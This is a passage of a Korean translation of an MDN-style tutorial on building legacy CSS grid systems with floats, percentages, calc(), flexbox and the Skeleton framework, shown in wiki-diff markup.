우선, 우리는 칼럼에 넣을 몇 가지 콘텐츠가 필요합니다. 현재 에이치티엠엘의 바디 내부에 있는 것을 아래 내용으로 대체하십시요:

+ +
<h1>2열 조판 예제</h1>
+<div>
+  <h2>첫 번째 열</h2>
+  <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p>
+</div>
+
+<div>
+  <h2>두 번째 열</h2>
+  <p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p>
+</div>
+ +

각 열에는 자체 콘텐츠를 포함하게 되고, 모든 콘텐츠를 한꺼번에 조작할 수 있게 해주는 외부 요소가 필요합니다. 이번 예제에서 우리는 {{htmlelement("div")}}를 선택했지만, 당신은 {{htmlelement("article")}}와 복수의 {{htmlelement("section")}}, {{htmlelement("aside")}}, 그 밖에 무엇이 됐건 한층 의미적으로 적절한 것을 선택할 수 있습니다.

+ +

이제 씨에스에스 내용입니다. 우선 다음을 HTML에 적용해 몇 가지 기본적인 설정을 제공합니다.

+ +
body {
+  width: 90%;
+  max-width: 900px;
+  margin: 0 auto;
+}
+ +

에이치티엠엘 바디 요소는 900px의 너비가 될 때까지 뷰포트 너비의 90%를 차지할 것이며, 이 경우 그 너비에 고정될 것이며, 뷰포트 안에 중심부에 자신을 위치시킬 겁니다. 기본값으로 바디 요소의 자녀들({{htmlelement("h1")}}와 두 개의 {{htmlelement("div")}}는 바디 너비 100%까지 확장될 것입니다. 두 개의 {{htmlelement("div")}}가 나란히 부동하길 원한다면, 자녀 요소의 너비를 부모 요소의 너비의 총합계가 100% 또는 그 이하로 설정해 상대 요소와 나란히 들어맞을 수 있도록 해야 합니다. 다음을 당신의 씨에스에스의 맨 아래에 추가하세요:

+ +
div:nth-of-type(1) {
+  width: 48%;
+}
+
+div:nth-of-type(2) {
+  width: 48%;
+}
+ +

여기서 우리는 두 요소의 너비를 부모 요소의 48%로 설정했습니다. 너비의 총합은 96%로써 결국 4% 남는 공간이 두 열 사이의 배수구 역할을 하게 됩니다. 이제 우리는 열을 부동(浮動)시킬 필요가 있습니다. 다음과 같이:

+ +
div:nth-of-type(1) {
+  width: 48%;
+  float: left;
+}
+
+div:nth-of-type(2) {
+  width: 48%;
+  float: right;
+}
+ +

이 모든 것을 종합하면 다음과 같은 결과가 나와야 합니다.

+ +
+ +
+ +

{{ EmbedLiveSample('부동_2열', '100%', 520) }}

+ +

여기서 여러분은 우리가 모든 너비에 대해 백분율을 사용하고 있음을 알아차릴 것입니다. 이것은 liquid layout을 생성하기 때문에 꽤 좋은 전략입니다. 이것은 서로 다른 화면 크기에 적응하고 더 작은 화면 크기에서 열 너비에 대해 동일한 비율을 유지하게 됩니다. 브라우저 창의 너비를 조정해 보십시오. 이같은 특징은 반응형 웹 디자인을 위한 귀중한 도구입니다.

+ +
+

참고: 당신은 이 예제가 작종하는 장면을 여기서 0_two-column-layout.html 볼 수 있습니다. (또한, 여기 소스 코드)도 있다.

+
+ +

간단한 레거시 격자 프레임워크 생성하기

+ +

레거시 프레임 워크의 대부분은 격자처럼 보이는 것을 만들기 위해한 열을 다른 열 옆에 부동시키기 위해 {{cssxref("float")}} 속성의 동작을 이용합니다. 부동을 포함한 격자 생성 과정을 통해 이 방법이 어떻게 작동하는지 여러분에게 보여주고, 여러분이 부동 및 해제 단원에서 배운 것을 바탕으로 능력을 배가하기 위해 더 발전된 개념을 도입합니다.

+ +

격자 프레임워크를 생성할 수 있는 가장 편리하게 유형은 고정 너비입니다. 즉, 우리는 우리가 목표로 하는 디자인의 총 너비, 우리가 원하는 열의 수, 배수로의 너비 및 열의 너비를 계산할 필요가 있습니다. 대신 브라우저 너비에 따라 커지고 축소되는 열이 있는 격자상에 디자인을 배치하기로 한다면 열 무리에 대한 백분율 너비와 열 사이 배수로 너비를 계산해야 할 겁니다.

+ +

다음 절에서는 두 가지를 어떻게 생성할지 살펴볼 것입니다. 우리는 12개의 열 격자를 생성할 것입니다. 12열이 6, 4, 3, 2로 잘 나눌 수 있다는 점을 감안할 때, 매우 일반적인 선택입니다.

+ +

간단한 고정 너비 격자

+ +

먼저 고정 너비 열을 사용하는 격자 시스템을 생성해 봅시다.

+ +

먼저, 우리 예제인 simple-grid.html 사본 파일을 만듭니다. 여기에는 바디 부분에 다음과 같은 마크업을 포함하고 있습니다.

+ +
<div class="wrapper">
+  <div class="row">
+    <div class="col">1</div>
+    <div class="col">2</div>
+    <div class="col">3</div>
+    <div class="col">4</div>
+    <div class="col">5</div>
+    <div class="col">6</div>
+    <div class="col">7</div>
+    <div class="col">8</div>
+    <div class="col">9</div>
+    <div class="col">10</div>
+    <div class="col">11</div>
+    <div class="col">12</div>
+  </div>
+  <div class="row">
+    <div class="col span1">13</div>
+    <div class="col span6">14</div>
+    <div class="col span3">15</div>
+    <div class="col span2">16</div>
+  </div>
+</div>
+ +

우리의 목표는 이것을 12열 격자상에 2행 격자를 시연하는 것입니다. 상단 행은 개별 열의 크기를 나타내고 두 번째 행은 격자 크기가 서로 다른 영역입니다.

+ +

+ +

{{htmlelement("style")}} 요소에는 외곽(래퍼) 컨테이너에 980픽셀의 너비를 부여하는 아래와 같은 코드를 추가하고 오른쪽에 패딩으로는 20픽셀 우측을 추가합니다. 이로써 열 및 배수로의 총 너비를 위해 960픽셀이 주어집니다. 이 경우, 사이트의 모든 요소에 {{cssxref("box-sizing")}}을 border-box로 설정했기 때문에 패딩은 총 콘텐츠 너비에서 제외할 수 있습니다(자세한 설명은 상자 모델의 전면 변경을 참조하세요).

+ +
* {
+  box-sizing: border-box;
+}
+
+body {
+  width: 980px;
+  margin: 0 auto;
+}
+
+.wrapper {
+  padding-right: 20px;
+}
+ +

이제 격자의 각 행을 둘러싸는 행 컨테이너를 사용하여 한 행을 다른 행으로부터 정리하여 구분합니다. 다음과 같은 규칙을 이전 규칙 아래에 추가하십시요:

+ +
.row {
+  clear: both;
+}
+ +

이렇게 정리를 적용한다는 것은 요소 무리가 딸린 각각의 행을 요소 무리로 가득 채울 필요가 없다는 것을 의미합니다. 행은 계속 분리된 채로 있으며, 서로 간섭하지 않습니다.

+ +

열 사이의 배수로는 20픽셀 너비입니다. 컨테이너의 우측 편에 패딩 20픽셀을 부여해 균형을 잡기 위해 첫 번째 열을 포함하여 각 열의 왼편에 여백의 형태로 배수로를 생성했습니다. 그래서 우리는 총 12개의 배수로 가지고 있습니다. 따라서 12 x 20 = 240입니다.

+ +

우리는 총 너비 960 픽셀에서 배수로 부분을 빼야 함으로 우리의 열 무리를 위해 720픽셀이 주어집니다. 당장에 그것을 12로 나눈다면, 각 열은 60 픽셀이어야 한다는 것을 알 수 있습니다.

+ +

다음 단계는 클래스 .col에 대한 규칙을 생성하는 일입니다. 동 클래스에 속한 요소를 왼쪽으로 부동시키고, 배수구를 형성하기 위해 20픽셀의 {{cssxref("margin-left")}}와 60픽셀의 {{cssxref("width")}} 값을 동 요소에 부여합니다. 다음 규칙을 당신의 씨에스에스의 맨 아래에 추가하십시요:

+ +
.col {
+  float: left;
+  margin-left: 20px;
+  width: 60px;
+  background: rgb(255, 150, 150);
+}
+ +

이제 단일 열 무리 형태의 상단 행은 격자처럼 깔끔하게 배치됩니다.

+ +
+

주석: 각 열에 밝은 빨간색 색상을 부여하여 각 공간이 얼마나 많은지 정확하게 볼 수 있습니다.

+
+ +

두 개 이상의 열을 하나로 합치길 원하는 조판 컨테이너에 대해선 해당 컨테이너에 {{cssxref("width")}} 값을 필요한(합치기 할) 열 갯수에 맞춰(아울러 열 사이 배수구 숫자까지 포함해) 조정하기 위해 특별한 클래스를 부여할 필요가 있습니다. 우리는 컨테이너 무리가 2열에서 12열까지 (원하는 열 갯수만큼) 하나로 합치기할 수 있도록 추가 클래스를 만들 필요가 있습니다. 각 열의 너비는 (하나로 합쳐질) 해당 열 갯수의 열 너비와 배수구 너비를 합산한 결과입니다. 여기서 배수구 숫자는 항상 열 갯수에서 하나가 빠집니다.

+ +

당신의 씨에스에스 맨 아래에 다음을 추가하십시요.

+ +
/* Two column widths (120px) plus one gutter width (20px) */
+.col.span2 { width: 140px; }
+/* Three column widths (180px) plus two gutter widths (40px) */
+.col.span3 { width: 220px; }
+/* And so on... */
+.col.span4 { width: 300px; }
+.col.span5 { width: 380px; }
+.col.span6 { width: 460px; }
+.col.span7 { width: 540px; }
+.col.span8 { width: 620px; }
+.col.span9 { width: 700px; }
+.col.span10 { width: 780px; }
+.col.span11 { width: 860px; }
+.col.span12 { width: 940px; }
+ +

이러한 클래스를 생성해 놓았다면 격자에 서로 다른 너비의 열 무리를 배치할 수 있습니다. 페이지를 저장하고 브라우저에 불러들여 효과를 확인하십시오.

+ +
+

참조: 위의 예제를 제대로 적용하기가 어렵다면 깃허브에 있는 완성된 버전과 비교해보라. (라이브로도 보세요).

+
+ +

당신의 요소 무리에 적용한 클래스를 수정하거나 일부 컨테이너를 추가 및 제거해보며 당신이 어떻게 조판에 변경을 가할 수 있는지 확인하십시오 예를 들어 두 번째 행을 이렇게 만들 수 있습니다:

+ +
<div class="row">
+  <div class="col span8">13</div>
+  <div class="col span4">14</div>
+</div>
+ +

이제 격자 시스템이 작동합니다. 여러분은 단순히 행 무리를 정의하고 각 행에 열 갯수를 정의한 다음 각 컨테이너에 필요한 내용을 채울 수 있습니다. 대단하죠!

+ +

유동 격자 생성하기

+ +

우리 격자는 잘 작동하지만, 고정 너비를 가지고 있습니다. 우리는 브라우저 {{Glossary("viewport")}}에서 사용 가능한 공간과 함께 확대되고 축소될 가변 (유동) 격자를 정말로 원합니다. 이를 위해 기준 픽셀 너비를 백분율로 바꿀 수 있습니다.

+ +

고정 너비를 유연한 백분율 기반으로 변환하는 방정식은 다음과 같습니다.

+ +
target / context = result
+ +

열 너비의 경우 목표 너비는 60픽셀이고 콘텐츠는 래퍼 클래스의 총합 960픽셀입니다. 우리는 백분율을 계산하기 위해 다음을 사용할 수 있습니다.

+ +
60 / 960 = 0.0625
+ +

그리고 나서 우리는 소수점을 2자리 옮기면 백분율 6.25%가 주어집니다. 그래서 우리의 씨에스에스에서 60픽셀의 열 너비를 6.25%로 대체할 수 있습니다.

+ +

우리는 여러분의 배수로 너비에도 똑같이 적용해야 합니다.

+ +
20 / 960 = 0.02083333333
+ +

따라서 우리는 .col 규칙에 있는 20픽셀의 {{cssxref("margin-left")}}과 .wrapper 규칙에 있는 20픽셀의 {{cssxref("padding-right")}}를 2.08333333%로 대체해야 합니다.

+ +

여러분의 격자 업데이트 하기

+ +

이번 절을 시작하려면 이전 예제 페이지의 새 사본을 만들거나 simple-grid-finished.html를 착수파일로 사용하십시요.

+ +

다음과 같이 (.wrapper 선택기에 해당하는) 두 번째 씨에스에스 규칙을 업데이트 하십시요:

+ +
body {
+  width: 90%;
+  max-width: 980px;
+  margin: 0 auto;
+}
+
+.wrapper {
+  padding-right: 2.08333333%;
+}
+ +

우리는 백분율 너비를 부여했을뿐만 아니라 조판이 과도하게 확대되는 것을 막기 위해 {{cssxref("max-width")}} 속성을 추가했습니다.

+ +

다음은 아래와 같이 (.col 선택기에 해당하는) 네 번째 씨에스에스 규칙을 업데이트 하십시요:

+ +
.col {
+  float: left;
+  margin-left: 2.08333333%;
+  width: 6.25%;
+  background: rgb(255, 150, 150);
+}
+ +

이제 약간 노동력이 투여되어야 할 부분이 있습니다. 픽셀 너비보다는 백분율을 사용하기 위해 모든 .col.span 규칙을 업데이트해야 합니다. 계산기를 사용하려면 시간이 좀 걸립니다. 여러분들의 노력을 아끼기 위해, 아래와 같이 여러분을 대신에 우리가 마무리지었습니다.

+ +

다음을 통해 씨에스에스 규칙의 하위 블록을 업데이트합니다.

+ +
/* Two column widths (12.5%) plus one gutter width (2.08333333%) */
+.col.span2 { width: 14.58333333%; }
+/* Three column widths (18.75%) plus two gutter widths (4.1666666) */
+.col.span3 { width: 22.91666666%; }
+/* And so on... */
+.col.span4 { width: 31.24999999%; }
+.col.span5 { width: 39.58333332%; }
+.col.span6 { width: 47.91666665%; }
+.col.span7 { width: 56.24999998%; }
+.col.span8 { width: 64.58333331%; }
+.col.span9 { width: 72.91666664%; }
+.col.span10 { width: 81.24999997%; }
+.col.span11 { width: 89.5833333%; }
+.col.span12 { width: 97.91666663%; }
+ +

이제 코드를 저장하고 브라우저에 내용을 불러들이면 뷰포트 너비를 변경해보십시오. 열 너비가 멋지게 조정되는 것을 볼 수 있어야 합니다.

+ +
+

참조: 위의 예제를 제대로 적용하기가 어렵다면 깃허브에 있는 완성된 버전과 비교해보라. (라이브로도 보세요).

+
+ +

calc() 함수를 사용한 편리한 계산법

+ +

씨에스에스 내부에서 직접 calc() 함수를 사용하여 수학 계산을 할 수 있습니다. 이것은 여러분의 씨에스에스 값에 단순한 수학 방정식을 삽입하고 값이 무엇인지 계산할 수 있게 해줍니다. 복잡한 수학이 있을 때 특히 유용하며, 예를 들어 "나는 이 요소의 높이가 항상 부모의 높이의 100% 마이너스 50px가 되기를 원한다"와 같은 서로 다른 단위를 사용하는 셈법까지 계산할 수 있습니다. MediaRecorder API 자습서에 있는 예제를 보십시요.

+ +

어쨌든, 다시 여러분의 격자로 복귀합시다! 여러분의 격자에서 한 열 이상을 하나로 합치기하고자 하는 어떤 열은 총 너비가 6.25%이고, 거기에 하나로 합치기할 열 갯수를 곱하고, 거기에 2.08333333%를 배수로 갯수로 곱하기합니다(실제 배수로의 갯수는 항상 열 갯수에서 하나 빼기가 됩니다.) 여러분은 calc() 함수을 통해서 여러분이 이러한 셈법을 너비 값 내부에서 바로 계산을 할 수 있으므로, 4열 합치기할 항목에 대해서는 다음과 같이 할 수 있습니다.

+ +
.col.span4 {
+  width: calc((6.25%*4) + (2.08333333%*3));
+}
+ +

여러분의 씨에스에스 규칙의 하단 블록을 다음 값으로 대체한 다음 브라우저에서 다시 불러들여 동일한 결과를 얻을 수 있는지 확인하십시오:

+ +
.col.span2 { width: calc((6.25%*2) + 2.08333333%); }
+.col.span3 { width: calc((6.25%*3) + (2.08333333%*2)); }
+.col.span4 { width: calc((6.25%*4) + (2.08333333%*3)); }
+.col.span5 { width: calc((6.25%*5) + (2.08333333%*4)); }
+.col.span6 { width: calc((6.25%*6) + (2.08333333%*5)); }
+.col.span7 { width: calc((6.25%*7) + (2.08333333%*6)); }
+.col.span8 { width: calc((6.25%*8) + (2.08333333%*7)); }
+.col.span9 { width: calc((6.25%*9) + (2.08333333%*8)); }
+.col.span10 { width: calc((6.25%*10) + (2.08333333%*9)); }
+.col.span11 { width: calc((6.25%*11) + (2.08333333%*10)); }
+.col.span12 { width: calc((6.25%*12) + (2.08333333%*11)); }
+ +
+

참고: 여러분은 최종 버전을 fluid-grid-calc.html에서 확인할 수 있습니다. (라이브로도 보세요).

+
+ +
+

참고: 여러분의 실습 과정에서 이 같은 내용이 제대로 작동되지 않았다면 여러분의 브라우저가 calc() 함수를 지원하지 않기 때문일 수 있습니다. 다만 이 함수는 멀게는 인터넷 익스플로러 9까지 브라우저 구분없이 지원됩니다.

+
+ +

말 되는 VS “말 안되는” 격자 시스템

+ +

조판을 정의하기 위해 여러분의 마크업에 클래스를 추가하면 콘텐츠와 마크업이 시각적 프리젠테이션과 결부됩니다. 당신은 때때로 콘텐츠를 설명하는 클래스에 말되는 이름을 사용하기보다는 콘텐츠가 어떻게 보일지 설명하는 "말 안되는" 이름을 사용하는 씨에스에스 클래스 용례를 접하게 됩니다. 여기서 span2, span3, 기타 등등과 같은 클래스의 경우가 그렇습니다.

+ +

이런 식의 접근 방법만 있는게 아닙니다. 대신 여러분이 격자를 결정한 다음 말 되게 명명된 기존 클래스 규칙에 크기 정보를 추가할 수 있습니다. 예를 들어, 여러분이 8열을 하나로 합치기 원하는 {{htmlelement("div")}} 요소에 content라는 클래스를 부여할 경우 span8 클래스가 출처인 너비 계산값을 복사해 쓸 수 있는데, 그와 같은 규칙은 이렇게 제공됩니다:

+ +
.content {
+  width: calc((6.25%*8) + (2.08333333%*7));
+}
+ +
+

참고: 당신이 Sass와 같은 전처리기를 사용하려면, 당신을 위해 해당 값을 삽입해주는 간단한 maxin를 생성할 수 있다.

+
+ +

격자 내부에 컨테이너 오프셋 가동

+ +

우리가 생성한 격자는 컨테이너 무리 전체를 격자의 왼쪽편과 일치시켜 출발하길 원하는 경우에 잘 작동합니다. 첫 번째 컨테이너 또는 컨테이너 사이에 빈 열 공간을 남기고 싶다면 여러분의 사이트에 왼쪽 여백을 추가하여 격자를 시각적으로 밀어 넣을 수 있는 오프셋 클래스를 생성해야 합니다. 또 다시 수학을!

+ +

이렇게 해봅시다.

+ +

이전 코드에서 출발하거나, fluid-grid.html을 착수 파일로 사용합니다.

+ +

컨테이너 요소를 한 열 너비만큼 밀어낼 클래스를 여러분의 씨에스에스 안에 생성합니다. 다음을 당신의 씨에스에스의 맨 아래에 추가하세요:

+ +
.offset-by-one {
+  margin-left: calc(6.25% + (2.08333333%*2));
+}
+ +

Or if you prefer to calculate the percentages yourself, use this one:

+ +
.offset-by-one {
+  margin-left: 10.41666666%;
+}
+ +

이제 여러분이 왼편에 하나의 열 너비의 빈 공간을 남기길 원하는 컨테이너는 어느 것이든 이 클래스를 추가할 수 있습니다. 예를 들면 여러분의 에이치티엠엘에 이런 내용이 있다면:

+ +
<div class="col span6">14</div>
+ +

그걸 다음으로 대체하세요.

+ +
<div class="col span5 offset-by-one">14</div>
+ +
+

참고: 간격띄우기를 위한 공간을 만들기 위해, 합쳐질 열의 갯수를 줄여야 한다는 걸 놓치지 마세요!

+
+ +

달라진 모습을 보려면 브라우저에 불러들이거나 새로고침을 하세요. 아니면 fluid-grid-offset.html 예제가 실제 실행되는 장면을 보세요. 완성된 예는 다음과 같이 보여야 합니다.

+ +

+ +
+

참고: 추가 연습의 하나로 여러분은 offset-by-two(2칸 간격띄우기) 클래스를 구현할 수 있습니가?

+
+ +

부동 격자 제한

+ +

이런 시스템을 사용할 때는 총 너비가 정확하게 합산되는지, 행이 수용할 수 있는 것보다 더 많은 열을 하나로 합치려는 요소 무리를 행에 포함하지 않도록 주의해야 합니다. 부동체가 작동하는 방식 때문에 격자 열의 갯수가 해당 격자에 비해 너무 과대해지면 끝 부분에 있는 요소 무리가 다음 행으로 떨어지면서 격자가 깨집니다.

+ +

또한 요소 무리의 콘텐츠가 그들 요소들이 점유하는 행보다 넓어지면, 대열이탈되어 엉망으로 보일 것이라는 점을 염두에 두십시오.

+ +

이 시스템의 가장 큰 한계는 본질적으로 1차원이라는 점에 있습니다. 우리가 지금 여러 열에 걸쳐 요소를 하나로 합치도록 처리하자는 것이지 행 처리가 아닙니다. 이러한 오래된 조판 메서드는 요소의 높이를 명시적으로 설정하지 않고서는 요소의 높이를 제어하기가 매우 어렵습니다. 이는 매우 유연하지 않은 접근 방식이기도 합니다. 이는 여러분의 콘텐츠가 특정 높이라고 예상될 경우에만 먹힙니다.

+ +

가변상자 격자?

+ +

가변상자에 대한 이전 기사를 읽으면 가변상자가 격자 시스템을 생성하는 데 이상적인 해결책이라고 생각할 수 있습니다. 이용할 수 있는 가변상자 기반 격자 시스템이 많이 있으며, 가변상자는 상기한 내용에서 격자를 만들 때 이미 발견한 많은 문제를 해결할 수 있습니다.

+ +

그러나 가변상자는 격자 시스템처럼 디자인되지 않았으며 그런 식의 시스템으로 사용할 때 일련의 새로운 도전 과제를 던져줍니다. 간단한 예로 위에서 사용한 것과 동일한 예제 마크업을 채택해 아래의 씨에스에스를 사용하여 wrapperrowcol 클래스를 사용하여 스타일링할 수 있습니다.

+ +
body {
+  width: 90%;
+  max-width: 980px;
+  margin: 0 auto;
+}
+
+.wrapper {
+  padding-right: 2.08333333%;
+}
+
+
+.row {
+  display: flex;
+}
+
+.col {
+  margin-left: 2.08333333%;
+  margin-bottom: 1em;
+  width: 6.25%;
+  flex: 1 1 auto;
+  background: rgb(255,150,150);
+}
+ +

이 대체 요소를 여러분의 예제에서 만들거나, 우리의 flexbox-grid.html 예제 코드를 볼 수 있습니다(실제 실행 장면도 참조하세요).

+ +

여기에서 우리는 각 행을 가변 컨테이너로 탈바꿈하고 있습니다. 가변상자 기반 격자가 있다고 하더라도 요소를 다합쳐 100% 미만를 차지하는 요소 무리를 확보하려면 여러분은 여전히 행이 필요합니다. 우리는 해당 콘테이너를 display: flex로 설정했습니다.

+ +

우리는 .col 클래스상에 {{cssxref("flex")}} 속성의 첫 번째 값인 ({{cssxref("flex-grow")}})를 1로 설정하여 항목 무리가 확장할 수 있게 하고, 두 번째 속성값인 ({{cssxref("flex-shrink")}})를 1로 설정하여 항목 무리가 축소할 수 있게 하며 세 번째 값인 ({{cssxref("flex-basis")}})를 auto로 설정했습니다. 우리의 요소는 {{cssxref("width")}}(너비)가 설정되어 있고, auto 값을 통해 해당 너비값을 flex-basis 값으로 사용하게 됩니다.

+ +

맨 위 라인에는 격자 위에 12개의 깔끔한 상자가 있고, 뷰포트 너비를 변경할 때 상자는 똑같이 확장하고 수축합니다. 그러나 다음 행에서는 4개의 항목만 있으며, 이들은 60px 기준에서 확장하고 축소됩니다. 그 중 단 4개만 상위 행에 있는 항목보다 훨씬 더 많이 확장할 수 있습니다. 그 결과 두 번째 행에서 모두 같은 너비를 차지합니다.

+ +

+ +

이를 수정하려면 해당 요소에 대해 flex-basis가 사용하는 값을 대체할 너비를 제공하기 위해 span 클래스를 포함해야 합니다.

+ +

또한 상위 항목 무리가 사용하는 격자를 존중하지 않습니다. 왜냐하면 그들은 그것에 대해 아무것도 모르기 때문입니다.

+ +

가변상자는 디자인 자체로 one-dimensional입니다. 그것은 1차원 즉 행이나 열을 다룹니다. 열과 행에 대해 엄격한 격자를 만들 수는 없습니다. 즉, 여러분의 격자에 가변상자를 사용하려면 부동 조판에서와 같이 백분율을 계산해야 합니다.

+ +

당신이 참여하는 프로젝트에서 부동체보다 가변상자가 제공하는 공간 배분 능력이나 추가적인 정렬 기능을 이유로 여전히 가변상자 '격자'를 선택해 사용할 수도 있습니다. 하지만 당신이 사용하는 것이 원래 설계된 목적 이외의 다른 목적의 도구를 사용하고 있다는 것을 알아야 합니다. 그래서 당신은 이런 느낌이 들지도 모르겠다. 내가 원하는 최종 결과를 얻으려는 나에게 이놈이 추가적인 장애물을 통과하도록 만들고 있구나.

+ +

제3자 격자 시스템

+ +

이제 우리는 격자 셈법의 배경이 되는 수학을 이해하게 되면서, 널리 이용되고 있는 제3자 격자 시스템 중 일부를 살펴 볼만한 좋은 여건을 갖췄습니다. 웹에서 "씨에스에스 격자 프레임워크"를 검색하면 선택할 수 있는 옵션 목록이 엄청납니다. BootstrapFoundation같은 인기 프레임워크에는 격자 시스템이 포함되어 있습니다. 또한 씨에스에스 혹은 전처리기를 사용하여 개발된 독립형 격자 시스템도 있습니다.

+ +

이 독립형 시스템 중 하나를 살펴봅니다. 이 시스템은 격자 프레임워크를 사용하는 일반적인 기술을 보여줍니다. 우리가 사용할 격자는 단순한 씨에스에스 프레임워크인 Skeleton의 일부입니다.

+ +

시작하려면 Skeleton website를 방문하고 ZIP 파일을 다운로드하기 위해 "다운로드"를 선택합니다. 압축파일을 풀고 skeleton.css와 normalize.css를 새 폴더에 복사하십시요.

+ +

html-skeleton.html파일의 복사본을 만들어, skeleton과 normalize 씨에스에스 파일이 위치한 폴더와 같은 폴더에 저장합니다.

+ +

다음과 같은 내용을 복사본 파일의 헤드 섹션에 skeleton과 normalize 씨에스에스 파일에 포함시킵니다:

+ +
<link href="normalize.css" rel="stylesheet">
+<link href="skeleton.css" rel="stylesheet">
+ +

Skeleton에는 격자 시스템 이외에도 많은 내용이 포함되어 있습니다. 타이포그래피를 위한 씨에스에스 및 착수점으로 사용할 수 있는 다른 페이지 요소도 포함되어 있습니다. 하지만 지금은 이들을 기본값으로 남겨둘 겁이다. 우리가 정말로 관심을 갖고 있는 것은 격자입니다.

+ +
+

참고: Normalize는 니콜라스 겔러거가 작성한 정말로 유용한 소형 씨에스에스 라이브러리로, 자동으로 몇 가지 유용한 기본 조판의 수정을 수행하고, 기본 요소 스타일링을 브라우저를 막론하고 보다 일관되게 만들어 줍니다.

+
+ +

우리는 이전 예와 비슷한 에이치티엠엘을 사용할 것입니다. 다음을 여려분의 에이치티엠엘 바디에 추가하십시요:

+ +
<div class="container">
+  <div class="row">
+    <div class="col">1</div>
+    <div class="col">2</div>
+    <div class="col">3</div>
+    <div class="col">4</div>
+    <div class="col">5</div>
+    <div class="col">6</div>
+    <div class="col">7</div>
+    <div class="col">8</div>
+    <div class="col">9</div>
+    <div class="col">10</div>
+    <div class="col">11</div>
+    <div class="col">12</div>
+  </div>
+  <div class="row">
+    <div class="col">13</div>
+    <div class="col">14</div>
+    <div class="col">15</div>
+    <div class="col">16</div>
+  </div>
+</div>
+ +


+ Skeleton을 사용하기 위해서는 container 클래스를 랩퍼(바깥쪽) {{htmlelement("div")}}에 부여할 필요가 있습니다. 이 내용은 이미 우리 에이치티엠엘에 포함되어 있습니다. 이것은 최대 너비가 960픽셀인 콘텐츠를 중심부에 위치시킵니다. 이제 상자의 너비가 어떻게 960픽셀을 절대 초과할 수 없는지 볼 수 있습니다.

+ +

이 클래스를 적용할 때 사용되는 씨에스에스를 보려면 skeleton.css 파일을 직접 볼 수 있습니다. <div>auto 좌우 여백 을 사용하여 중심부 위치에 놓이고, 20픽셀의 패딩을 좌우로 적용한다. 또한 Skeleton은 {{cssxref("box-sizing")}} 속성을 우리가 이전에 했던 것처럼 border-box로 설정하므로 이 요소의 패딩과 경계가 전체 너비에 포함됩니다.

+ +
.container {
+  position: relative;
+  width: 100%;
+  max-width: 960px;
+  margin: 0 auto;
+  padding: 0 20px;
+  box-sizing: border-box;
+}
+ +

요소는 행 안에 있는 경우에만 격자의 일부가 될 수 있으므로, 이전 예제와 마찬가지로 추가적인 <div>가 필요하거나 content<div>, 실제 콘텐츠 컨테이너 <div> 무리 사이에 중첩된 row 클래스가 부여된 다른 요소가 필요합니다. 우리는 이미 이것을 완성했습니다.

+ +

이제 컨테이너 상자를 정리해 봅시다. Skeleton은 12개의 열 격자 기반입니다. 맨 위 라인의 상자 전체는 그 상자 무리를 하나의 열로 합치기 위해 모두 one column이란 클래스가 필요합니다.

+ +

아래에 나온 에이치티엠엘 조각 내용을 지금 추가하십시오.

+ +
<div class="container">
+  <div class="row">
+    <div class="one column">1</div>
+    <div class="one column">2</div>
+    <div class="one column">3</div>
+    /* and so on */
+  </div>
+</div>
+ +

다음으로 아래와 같이 하나로 합치기할 열의 수를 설명하는 클래스를 두 번째 행에 놓인 컨테이너에 부여합니다.

+ +
<div class="row">
+  <div class="one column">13</div>
+  <div class="six columns">14</div>
+  <div class="three columns">15</div>
+  <div class="two columns">16</div>
+</div>
+ +

에이치티엠엘 파일을 저장하고 브라우저에 불러들여 효과를 확인하십시오.

+ +
+

참고:위의 예제를 제대로 적용하기가 어렵다면, 그것을 우리의 html-skeleton-finished.html 파일과 비교해 보십시요. (그것을 라이브로도 보세요).

+
+ +

당신이 (앞서 다운로드한) skeleton.css 내용을 보면 어떻게 작동하는지 알 수 있습니다. 예를 들어, Skeleton 파일에는 다음과 같이 "three columns" 클래스가 적용되는 요소를 스타일링하기 위한 정의가 부여되어 있습니다.

+ +
.three.columns { width: 22%; }
+ +

모든 Skeleton(또는 다른 격자 프레임워크)은 여러분의 마크업에 추가하여 사용할 수 있는 미리 정의된 클래스를 설정하는 것입니다. 해당 백분율을 계산하는 작업은 마치 당신이 직접 한 것과 똑같습니다.

+ +

보시다시피, 우리는 Skeleton을 사용할 때 씨에스에스를 거의 쓰지 않아도 됩니다. 그것은(Skeleton) 당신의 마크업에 클래스를 추가할 때 우리를 대신해 모든 부동 요소를 처리합니다. 격자 시스템에 대한 프레임워크를 사용하여 만들어진 무언가에 조판에 대한 책임을 넘겨주는 이러한 능력을 갖춘 Skeleton은 설득력있는 선택입니다. 그러나 요즘 씨에스에스 격자 조판도 있고해서 많은 개발자가 씨에스에스가 제공하는 내장형 고유 격자를 사용하기 위해 이러한 프레임 워크에서 멀어지고 있습니다.

+ +

요약정리

+ +

이제 다양한 격자 시스템이 어떻게 만들어지는지 이해하게 되었는데, 이는 구형 사이트에서 작업할 때와 씨에스에스 격자 조판이 제공하는 기본 격자와 이들 구형 시스템 간의 차이를 이해하는 데 유용합니다.

+ +

{{PreviousMenuNext("Learn/CSS/CSS_layout/Media_queries", "Learn/CSS/CSS_layout/Supporting_Older_Browsers", "Learn/CSS/CSS_layout")}}

+ +

이번 단위에는

